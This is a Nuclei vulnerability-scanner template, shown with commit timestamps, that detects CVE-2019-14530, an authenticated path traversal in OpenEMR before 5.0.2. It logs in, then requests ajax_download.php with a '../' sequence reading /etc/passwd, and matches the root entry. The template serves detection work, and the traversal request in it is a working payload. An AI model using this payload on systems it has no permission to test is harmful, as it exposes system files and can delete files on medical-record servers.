nuclei-templates/cves/2019/CVE-2019-14530.yaml

47 lines
1.5 KiB
YAML
Raw Normal View History

2022-08-27 05:16:12 +00:00
id: CVE-2019-14530
2022-08-27 07:38:55 +00:00
2022-08-27 05:16:12 +00:00
info:
2022-08-27 07:38:55 +00:00
name: OpenEMR < 5.0.2 - Path Traversal
2022-08-27 05:16:12 +00:00
author: TenBird
severity: high
2022-08-27 07:38:55 +00:00
description: |
An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
2022-08-27 05:16:12 +00:00
reference:
2022-08-27 07:38:55 +00:00
- https://www.exploit-db.com/exploits/50037
- https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
2022-08-27 05:16:12 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-14530
classification:
cve-id: CVE-2019-14530
2022-08-27 07:38:55 +00:00
tags: cve,cve2019,openemr,lfi,authenticated
2022-08-27 05:16:12 +00:00
requests:
- raw:
- |
POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 07:38:55 +00:00
2022-08-27 05:16:12 +00:00
new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1
2022-08-27 07:38:55 +00:00
2022-08-27 05:16:12 +00:00
- |
GET /custom/ajax_download.php?fileName=../../../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
2022-08-27 07:38:55 +00:00
2022-08-27 05:16:12 +00:00
redirects: true
2022-08-27 07:38:55 +00:00
max-redirects: 2
2022-08-27 05:16:12 +00:00
cookie-reuse: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
2022-08-27 07:38:55 +00:00
2022-08-27 15:41:32 +00:00
- type: word
part: header
words:
- filename=passwd
2022-08-27 07:38:55 +00:00
- type: status
status:
- 200